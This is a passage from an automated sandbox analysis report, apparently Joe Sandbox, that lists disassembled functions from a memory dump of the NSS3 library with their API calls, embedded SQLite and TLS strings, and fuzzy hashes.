SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE4F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE4F67D
CERT_DestroyName.NSS3(?), ref: 6CE4F68B

Part of subcall function 6CE58320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE58338
Part of subcall function 6CE58320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE58364
Part of subcall function 6CE58320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE5838E
Part of subcall function 6CE58320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE583A5
Part of subcall function 6CE58320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE583E3

Part of subcall function 6CE584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE584D9
Part of subcall function 6CE584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE58528

Part of subcall function 6CE58900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CE58955

Strings

", xrefs: 6CE4F21B
*, xrefs: 6CE4F3C6
oid., xrefs: 6CE4F2CF

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 1a962e8c256fc898f856d4c01dccfa53a55e96430fb76da76d7f1b0b771355d1
Instruction ID: 365425d03d65906671a7afd133cec0dda22637ed9bc0eb5721e8fa727f8ddd3a
Opcode Fuzzy Hash: 1a962e8c256fc898f856d4c01dccfa53a55e96430fb76da76d7f1b0b771355d1
Instruction Fuzzy Hash: 23221871A083508FD710CE18E49076AB7F6ABC5B1CF28C66EE49587B91E7399C06C793

Function 6CDF1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDF1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CDF1FB7

Strings

sqlite_temp_master, xrefs: 6CDF1C5C
no more rows available, xrefs: 6CDF2264
another row available, xrefs: 6CDF2287
attached databases must use the same text encoding as main database, xrefs: 6CDF20CA
unknown error, xrefs: 6CDF2291
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CDF1F83
unsupported file format, xrefs: 6CDF2188
table, xrefs: 6CDF1C8B
abort due to ROLLBACK, xrefs: 6CDF2223
sqlite_master, xrefs: 6CDF1C61

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: fea6605191ce6101f85a7600e87479e90219f282b281665335053581cb1580a5
Instruction ID: 04a07a68243f27dbbd830eb639b4f1c75f9460c638865d266a4c95eba51931fd
Opcode Fuzzy Hash: fea6605191ce6101f85a7600e87479e90219f282b281665335053581cb1580a5
Instruction Fuzzy Hash: AD12E171608381CFD705CF19C48465ABBF2BF8531CF1A855DE8A58BB61D731E846CB92

Function 6CE15F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

BINARY, xrefs: 6CE18708, 6CE18737, 6CE187B8
u, xrefs: 6CE181DA
-, xrefs: 6CE162F9
NOCASE, xrefs: 6CE18703
-, xrefs: 6CE16228
2, xrefs: 6CE165B4
sub-select returns %d columns - expected %d, xrefs: 6CE1805F
ON clause references tables to its right, xrefs: 6CE16BEC

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 16536bf41bc069d0be191280cea3a8f4e6bdbc966ed3faa2790b3d277b6d6b02
Instruction ID: 5cf5701acc178fd471b08cc4b39e168a4834e030f010438d7672532720a7402d
Opcode Fuzzy Hash: 16536bf41bc069d0be191280cea3a8f4e6bdbc966ed3faa2790b3d277b6d6b02
Instruction Fuzzy Hash: 2A439074A0C3418FD314CF19C490A5ABBF6FF89718F258A5DE8998BB51D730E856CB82

Function 6CEBEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEBDAE2,?), ref: 6CEBC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CEBF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CF8218C), ref: 6CEBF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CEBF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEBF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CEBF210

Part of subcall function 6CE652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CEBF1E9,?,00000000,?,?), ref: 6CE652F5
Part of subcall function 6CE652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE6530F
Part of subcall function 6CE652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE65326
Part of subcall function 6CE652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CEBF1E9,?,00000000,?,?), ref: 6CE65340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBF227

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CEBF23E

Part of subcall function 6CEABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEBF3A8

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEBF3B3

Part of subcall function 6CE62D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE62D3C
Part of subcall function 6CE62D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE62D5F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: f3831f22d085552abfa969a08ecd37c2b6aba707050c395cefd909e3f760d09a
Instruction ID: 9b1bbc5ee4ed04dc8867e2428cb5e9664db228fe00574b82a477abe622482bb6
Opcode Fuzzy Hash: f3831f22d085552abfa969a08ecd37c2b6aba707050c395cefd909e3f760d09a
Instruction Fuzzy Hash: 62D17FBAE016059FDB14CF99DA80AAEB7F5EF4830CF258029D915B7711EB35E806CB50

Function 6CEEDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002,00000000,?,6CEC7FFA,00000002), ref: 6CEEDE33

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CEED000: PORT_ZAlloc_Util.NSS3(00000108,?,6CEEDE74,6CEC7FFA,00000002,?,?,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002), ref: 6CEED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002,00000000,?,6CEC7FFA,00000002), ref: 6CEEDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CEEDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEEE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEEE121
PK11_FreeSymKey.NSS3(?), ref: 6CEEE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CEEE195
PR_GetCurrentThread.NSS3 ref: 6CEEE1FC

Part of subcall function 6CEE2460: PR_SetError.NSS3(FFFFE005,00000000,6CF87379,00000002,?), ref: 6CEE2493

Strings

key, xrefs: 6CEEE046
handshake data, xrefs: 6CEEDFF7
early application data, xrefs: 6CEEDFC9
application data, xrefs: 6CEEDFE0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 27012434578c5deca7ef39429982f3b75d169de13dafa15446cb799c48951d9b
Instruction ID: 5e3294657da2b519b69c3b3b54d53ffd704c086060d66e47b02d6431f9e0e54a
Opcode Fuzzy Hash: 27012434578c5deca7ef39429982f3b75d169de13dafa15446cb799c48951d9b
Instruction Fuzzy Hash: 85C11375B006059BDB04CF69CC80BAAB7B5FF4D348F244139E9099BB91E331EA55CBA1

Function 6CDDECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CDDEF98

Strings

%s at line %d of [%.10s], xrefs: 6CDDF492
database corruption, xrefs: 6CDDF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDF483

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: cf745d471dd2ffa6ef2bd917934db2616e0e89ebbc91e88ab123d6d836f69006
Instruction ID: 9acbb4dcf16085298dba94dabf07caf54263b0753e0a200fb4e18c1204a14914
Opcode Fuzzy Hash: cf745d471dd2ffa6ef2bd917934db2616e0e89ebbc91e88ab123d6d836f69006
Instruction Fuzzy Hash: 2A62E271E04245CFDB14CF69C880BAABBB1BF49318F1A419DD8455BBA2D735F886CB90

Function 6CE7FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CE7FD06

Part of subcall function 6CE7F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CE7F696
Part of subcall function 6CE7F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CE7F789
Part of subcall function 6CE7F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CE7F796
Part of subcall function 6CE7F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CE7F79F
Part of subcall function 6CE7F670: SECITEM_DupItem_Util.NSS3 ref: 6CE7F7F0

Part of subcall function 6CEA3440: PK11_GetAllTokens.NSS3 ref: 6CEA3481
Part of subcall function 6CEA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEA34A3
Part of subcall function 6CEA3440: TlsGetValue.KERNEL32 ref: 6CEA352E
Part of subcall function 6CEA3440: EnterCriticalSection.KERNEL32(?), ref: 6CEA3542
Part of subcall function 6CEA3440: PR_Unlock.NSS3(?), ref: 6CEA355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CE7FDAD

Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE59003,?), ref: 6CEAFD91
Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(A4686CEB,?), ref: 6CEAFDA2
Part of subcall function 6CEAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEB,?,?), ref: 6CEAFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE7FE00

Part of subcall function 6CEAFD80: free.MOZGLUE(00000000,?,?), ref: 6CEAFDD1

Part of subcall function 6CE9E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CE7FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CE7FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE7FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE7FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CE7FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE7FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CE80007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CE80029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE80044

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 036cf23487d4ae9dc5eb8b19179c2c6e30de1fb0a4fe72a44c205364a369c108
Instruction ID: 585a3b43306b91a86069a39771ebfc2e009dd2a7d3de9f98d096f9c38dce6cb3
Opcode Fuzzy Hash: 036cf23487d4ae9dc5eb8b19179c2c6e30de1fb0a4fe72a44c205364a369c108
Instruction Fuzzy Hash: 7FB1D471604301AFE314CF29CC41A6AB7F5FF88318F248A2DE95987B41EB74E945CBA1

Function 6CE77D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE77DDC

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE77DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE77F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE77F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE77F98
PK11_FreeSymKey.NSS3(?), ref: 6CE77FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE77FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE78000

Part of subcall function 6CE99430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE77F0C,?,00000000,00000000,00000000,?), ref: 6CE9943B
Part of subcall function 6CE99430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CE9946B
Part of subcall function 6CE99430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CE99546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE78110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE7811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE7822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE7823C

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: a895c9d51ea3b287792214044a0a103cd5fbcba232fe220d05db47e7d695a055
Instruction ID: 153f385d545bdd642c1c1618a5e98b15ae856159044815e939d051a5b7c4c99a
Opcode Fuzzy Hash: a895c9d51ea3b287792214044a0a103cd5fbcba232fe220d05db47e7d695a055
Instruction Fuzzy Hash: 50C16BB1D002599FEB71CF14CC44BEAB7B8EB15348F1085EAE909B6641E7319E85CFA1

Function 6CE80EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CE80F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE80FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CE81006
PK11_FreeSymKey.NSS3(?), ref: 6CE8101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE81033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE8103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CE81048
memcpy.VCRUNTIME140(?,?,?), ref: 6CE8108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CE810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CE8112E

Part of subcall function 6CE81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CE808C4,?,?), ref: 6CE815B8
Part of subcall function 6CE81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CE808C4,?,?), ref: 6CE815C1
Part of subcall function 6CE81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8162E
Part of subcall function 6CE81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE81637

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 945937c30c27299e4826ef4a8fee286c7c6102f1509ae689ac06485511abcb1c
Instruction ID: ee95460b732dcdeda674b5ecb99ccf2f091e856f5444a76199bed9fb154f7a26
Opcode Fuzzy Hash: 945937c30c27299e4826ef4a8fee286c7c6102f1509ae689ac06485511abcb1c
Instruction Fuzzy Hash: 3671BEB1E012058FDB00CFA5DC85AAAB7B1BF4831CF24862DE92D9BB11E771D945CB91

Function 6CEA1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEA1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEA2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEA228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEA23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA241C

Strings

manufacturer, xrefs: 6CEA2179
token, xrefs: 6CEA1F2C
model, xrefs: 6CEA23CB, 6CEA23EC
serial, xrefs: 6CEA22A2

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 148ec224c97f453c62b7c83c734db7289d39e5254ad1426fb6216a7d16a1e360
Instruction ID: 79cc6aca0e35137016967467bba8ea43eb640b374c7e36260348f0c70a70ef56
Opcode Fuzzy Hash: 148ec224c97f453c62b7c83c734db7289d39e5254ad1426fb6216a7d16a1e360
Instruction Fuzzy Hash: DE02E062D0C7C85EF73186B2C44D3D77AF09B5632CF2816ADCA9E5AB83C3A8554A8351

Function 6CEA6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C3F

